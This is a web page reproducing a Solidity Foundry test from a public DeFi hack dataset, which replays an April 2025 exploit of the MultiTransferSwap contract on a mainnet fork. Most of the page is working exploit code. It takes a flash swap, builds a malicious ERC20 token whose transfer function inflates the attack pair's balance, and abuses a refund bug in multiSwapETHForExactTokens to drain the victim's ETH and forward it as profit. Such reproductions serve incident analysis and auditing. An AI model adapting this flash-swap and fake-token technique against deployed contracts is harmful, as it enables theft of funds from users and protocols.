Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/multitransferswap_exp.sol

Public reproduction file for dataset entry multitransferswap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/multitransferswap_exp.sol189 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 0.34 ETH
8// Attacker : 0x7c982E93d6B1eDE9626A84EbeafBC42e5991Dee8
9// Attack Contract : 0x9Fb0a31799FA1243FB53dbCC57Fd531e13753437
10// Vulnerable Contract : 0x6518905b5917614383E09bF9E94083f8f679aCd1
11// Attack Tx : https://etherscan.io/tx/0xbb82787a24d9b8d1047bbc12fe5d4b8d4ad3fc3e32e997985043ec3ef6d7dffe
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6518905b5917614383E09bF9E94083f8f679aCd1#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/929
18//
19// Attack summary: The attacker used malicious ERC20 helper tokens and fresh Uniswap V2 pairs to make
20// MultiTransferSwap's final exact-output input amount tiny, then collected an over-sized ETH refund.
21// Root cause: multiSwapETHForExactTokens refunds from msg.value using only the final loop's amounts[0]
22// instead of accumulating total ETH spent across all iterations.
24address constant ATTACKER = 0x7c982E93d6B1eDE9626A84EbeafBC42e5991Dee8;
25address constant ROOT_ATTACK_CONTRACT = 0x90E69141Bb7b3505478Fb32b36F26009557507aF;
26address constant FIRST_ATTACK_HELPER = 0x9Fb0a31799FA1243FB53dbCC57Fd531e13753437;
27address constant VICTIM = 0x6518905b5917614383E09bF9E94083f8f679aCd1;
28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
29address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
30address constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
31address constant LINK_WETH_PAIR = 0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974;
33interface IMultiTransferSwap {
34 function multiSwapETHForExactTokens(
35 uint256 times,
36 uint256 amountOut,
37 address[] calldata path,
38 address to
39 ) external payable returns (uint256[] memory amounts);
42contract ContractTest is BaseTestWithBalanceLog {
43 receive() external payable {}
45 function setUp() public {
46 uint256 forkBlock = 22_361_153;
47 vm.createSelectFork("mainnet", forkBlock);
49 fundingToken = address(0);
50 attacker = address(this);
52 vm.label(ATTACKER, "Attacker EOA");
53 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");
54 vm.label(FIRST_ATTACK_HELPER, "First Attack Helper");
55 vm.label(VICTIM, "MultiTransferSwap");
56 vm.label(WETH_TOKEN, "WETH");
57 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
58 vm.label(UNISWAP_V2_FACTORY, "Uniswap V2 Factory");
59 vm.label(LINK_WETH_PAIR, "LINK/WETH Pair");
60 }
62 function testExploit() public balanceLog {
63 uint256 victimBefore = VICTIM.balance;
64 assertEq(victimBefore, 344_297_259_391_960_230);
66 // step 1: repeat the constructor-created helper pattern seen in the trace.
67 for (uint256 i; i < 6; ++i) {
68 MaliciousSwapToken token = new MaliciousSwapToken(address(this));
69 token.attack();
70 }
72 // step 2: prove the victim's pre-existing ETH was drained and forwarded as attacker profit.
73 uint256 victimAfter = VICTIM.balance;
74 uint256 profit = address(this).balance;
76 assertLt(victimAfter, 6_000_000_000_000_000);
77 assertGt(victimBefore - victimAfter, 0.33 ether);
78 assertGt(profit, 0.33 ether);
79 }
82contract MaliciousSwapToken {
83 string public constant name = "Malicious Swap Token";
84 string public constant symbol = "MST";
85 uint8 public constant decimals = 18;
86 uint256 public totalSupply = type(uint128).max;
88 mapping(address => uint256) private balances;
89 mapping(address => mapping(address => uint256)) public allowance;
91 address private immutable profitReceiver;
92 address private attackPair;
94 receive() external payable {}
96 constructor(
97 address _profitReceiver
98 ) {
99 profitReceiver = _profitReceiver;
100 }
102 function attack() external {
103 uint256 victimBalance = VICTIM.balance;
104 uint256 flashAmount = victimBalance + 0.01 ether + 139_256;
106 IUniswapV2Pair(LINK_WETH_PAIR).swap(0, flashAmount, address(this), bytes("flash"));
107 }
109 function uniswapV2Call(
110 address,
111 uint256,
112 uint256 amount1,
113 bytes calldata
114 ) external {
115 require(msg.sender == LINK_WETH_PAIR, "unexpected flash pair");
117 uint256 amountOut = VICTIM.balance / 2 - 10_000;
118 uint256 seedEth = 20_000;
119 uint256 tokenSeed = amountOut + seedEth;
121 // step 1: seed a fresh WETH/token pair with a tiny amount of WETH and attacker-reported token balance.
122 IWETH(payable(WETH_TOKEN)).withdraw(amount1);
123 balances[address(this)] = tokenSeed;
124 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).addLiquidityETH{value: seedEth}(
125 address(this), tokenSeed, 1, 1, address(this), block.timestamp
126 );
127 attackPair = IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(WETH_TOKEN, address(this));
129 // step 2: make the victim buy exact helper tokens twice, then receive the oversized refund.
130 address[] memory path = new address[](2);
131 path[0] = WETH_TOKEN;
132 path[1] = address(this);
133 IMultiTransferSwap(VICTIM).multiSwapETHForExactTokens{value: address(this).balance}(2, amountOut, path, VICTIM);
135 // step 3: remove victim-paid liquidity, repay the flash swap, and forward ETH profit.
136 uint256 lpBalance = IUniswapV2Pair(attackPair).balanceOf(address(this));
137 IUniswapV2Pair(attackPair).approve(UNISWAP_V2_ROUTER, lpBalance);
138 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))
139 .removeLiquidity(WETH_TOKEN, address(this), lpBalance, 1, 1, address(this), block.timestamp);
141 IWETH(payable(WETH_TOKEN)).deposit{value: address(this).balance}();
142 uint256 repayAmount = amount1 + amount1 / 250;
143 IERC20(WETH_TOKEN).transfer(LINK_WETH_PAIR, repayAmount);
145 uint256 wethProfit = IERC20(WETH_TOKEN).balanceOf(address(this));
146 IWETH(payable(WETH_TOKEN)).withdraw(wethProfit);
148 (bool ok,) = profitReceiver.call{value: address(this).balance}("");
149 require(ok, "profit transfer failed");
150 }
152 function balanceOf(
153 address account
154 ) external view returns (uint256) {
155 return balances[account];
156 }
158 function approve(
159 address spender,
160 uint256 value
161 ) external returns (bool) {
162 allowance[msg.sender][spender] = value;
163 return true;
164 }
166 function transfer(
167 address to,
168 uint256 value
169 ) external returns (bool) {
170 balances[msg.sender] -= value;
171 balances[to] += value;
173 if (msg.sender == attackPair) {
174 balances[attackPair] = 10_000_000_000_000_000_000_000_000_000_000;
175 }
177 return true;
178 }
180 function transferFrom(
181 address from,
182 address to,
183 uint256 value
184 ) external returns (bool) {
185 balances[from] -= value;
186 balances[to] += value;
187 return true;
188 }

Analysis

Dataset entry

Public Foundry test for “multitransferswap” (2025-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7c982e93d6b1ede9626a84ebeafbc42e5991dee8

  • Attack Contract

    0x9fb0a31799fa1243fb53dbcc57fd531e13753437

  • Vulnerable Contract

    0x6518905b5917614383e09bf9e94083f8f679acd1

  • Attack Tx

    0xbb82787a24d9b8d1047bbc12fe5d4b8d4ad3fc3e32e997985043ec3ef6d7dffe

File record

Name
multitransferswap
Path
src/test/2025-04/multitransferswap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d5c85845ee01e595934c3dc5dd8f2dc3ac194e21
Language
Solidity
Size
190 lines
Date
2025-04-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/multitransferswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d5c85845ee01e595934c3dc5dd8f2dc3ac194e21, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.